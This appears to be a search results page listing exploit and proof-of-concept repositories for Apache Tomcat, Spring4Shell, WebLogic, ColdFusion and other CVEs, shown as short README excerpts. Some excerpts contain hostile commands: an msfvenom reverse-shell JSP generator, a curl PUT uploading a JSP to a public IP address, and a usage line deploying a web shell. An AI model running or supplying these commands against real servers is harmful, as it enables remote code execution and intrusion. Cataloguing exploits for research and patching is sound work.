3497 matches found
MAGNOLIA-8281
MAGNOLIA-8281: FreeMarker Restriction Bypass 2 in Magnolia CMS An issue in the FreeMarker Filter of Magnolia CMS v6.2.16 and below allows attackers to bypass security restrictions and read/write/move/copy/delete arbitrary files via a crafted FreeMarker payload. Arbitrary code execution was...
CVE-2024-50379
CVE-2024-50379 Proof of Concept PoC This repository contains a proof of concept PoC script to exploit CVE-2024-50379 , a vulnerability in Apache Tomcat. The vulnerability is a Time-of-Check Time-of-Use TOCTOU race condition that can lead to remote code execution RCE if the server's configuration...
CVE-2020-1938
CVE-2020-1938 The tool is only for security research and internal self-inspection. It is prohibited to use the tool to launch illegal attacks. The user is responsible for any consequences. apache-tomcat-8.5.32.zip test tomcat Arbitrary file read java -jar 1.jar...
Java-Compressed-file-security
Java-Compressed-file-security java web Compressed File Security Vulnerability Test environment: Windows For Apache Tomcat/8.5.16 0x01 Crafting a Directory Traversal Malicious Compressed File Code: coding=utf-8 import zipfile import sys if name == "main": try: with open"404.jsp", "r" as f: binary ...
CVE-2012-4431
Welcome to Apache Tomcat! What Is It? The Apache TomcatĀ® software is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. The Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket specifications are...
CVE-2016-3088
CVE-2016-3088 Statement A Python-based Exploit Script for CVE-2016-3088. This is my first script, so there may be something doesn't quite fit. But it seems go right when I tested. Discription This script can eliminate the need to capture packets during the penetration of CVE-2016-3088, so we can...
CVE-2025-34040Exp
Seeyon OA has file upload leading to RCE CVE-2025-34040 Parameters options: -h, --help show this help message and exit -u URL, --url URL čÆ·č¾å „å¾ ę£ęµēURL -f FILE, --file FILE čÆ·č¾å „äøč”äøäøŖURLēę件å°å -n FILENAME, --filename FILENAME čÆ·č¾å „ę件åļ¼é»č®¤äøŗHello.jspļ¼ļ¼ -c CONTENT, --content CONTENT čÆ·č¾å „äøä¼ ēę件å 容ļ¼é»č®¤äøŗHelloWordļ¼ļ¼...
Spring4Shell
Spring RCE CVE-2022-22965 Vulnerability Environment Environment Information springboot jdk11 tomcat9.0.30 payload Request Header Configuration "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Request Body Data...
CVE-2024-50379
Manual exploitation is troublesome, so I whipped up an exp.. Usage: shell.jsp is the shell file, ggsl.jsp is the name/path saved to the target server. ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp Disclaimer This tool is only intended for legally authorized enterprise...
apache__jspwiki_CVE-2019-10089_2-11-0-M4
Apache JSPWiki 2.11 - Documentation Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License,...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion RCE This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2021. Exploit Description The exploit sends a POST request containing a JSP reverse shell to /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If successfull...
CVE-2024-50379-POC
CVE-2024-50379 Exploitation and POC This repository contains a Proof of Concept POC for CVE-2024-50379 , a vulnerability affecting Apache Tomcat. The issue involves a Time-of-Check Time-of-Use TOCTOU race condition , which can lead to Remote Code Execution RCE , especially on case-insensitive fil...
Fast-CVE-2022-22965
Target Machine docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use %3C%25 replaces %25%7Bc2%7Di representing In the code, the...
CVE-2017-12615-Home-Lab
ENGLISH BELOW CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Lab ąøąøµą¹ąøąø³ąø„ąøąøąøą¹ąøąøą¹ąø«ąø§ą¹ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload ą¹ąøąø“ąøąøąø²ąøąøąø²ąø£ąøąø±ą¹ąøąøą¹ąø² readonly=false ąøąø³ą¹ąø«ą¹ąøŖąø²ąø”ąø²ąø£ąøąøąø±ąøą¹ąø«ąø„ąøą¹ąøąø„ą¹ąøą¹ąø²ąø HTTP PUT ą¹ąøą¹ ąø£ąø§ąø”ąøąø¶ąøą¹ąøąø„ą¹ .jsp ąøąøµą¹ąøŖąø²ąø”ąø²ąø£ąøąø£ąø±ąøąøąø³ąøŖąø±ą¹ąø RCE Features Apache Tomcat 7.0.79...
CVE-2024-53677-S2-067-thread
Disclaimer Do not use the related technologies in this article for illegal testing. Any direct or indirect consequences and losses caused by the dissemination or use of the information or tools provided in this article are solely the responsibility of the user. All adverse consequences arising fr...
CVE-2017-12615
curl -X PUT http://34.124.205.159:8080/1.jsp/ -d @- 1.jsp...
CVE-2025-24813
šØ CVE-2025-24813 ā Apache Tomcat PUT JSP RCE Exploit This repository contains a complete proof-of-concept PoC for CVE-2025-24813 , a Remote Code Execution RCE vulnerability in Apache Tomcat using the HTTP PUT method to deploy a malicious JSP web shell. š„ This exploit demonstrates how an attacker...
cve-2018-2894
Weblogic Arbitrary File Upload Vulnerability CVE-2018-2894 Recently, everyone has been talking about this vulnerability, and most have noticed the issue at config.do. However, according to https://mp.weixin.qq.com/s/y5JGmM-aNaHcs6P9a-gRQ the information there, begin.do also has a problem. Without...
CVE-2025-24813
CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability Apache Tomcat is vulnerable to a Path Equivalence / Path Traversal issue due to improper handling of ../ sequences in paths. CVE ID: CVE-2025-24813 Severity: Critical Reference link: https://github.com/advisories/GHSA-83qj-6fr2-vhqg Po...
apache__jspwiki_CVE-2019-10078_2_11_0_M4_fixed
Apache JSPWiki 2.11 - Documentation Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License,...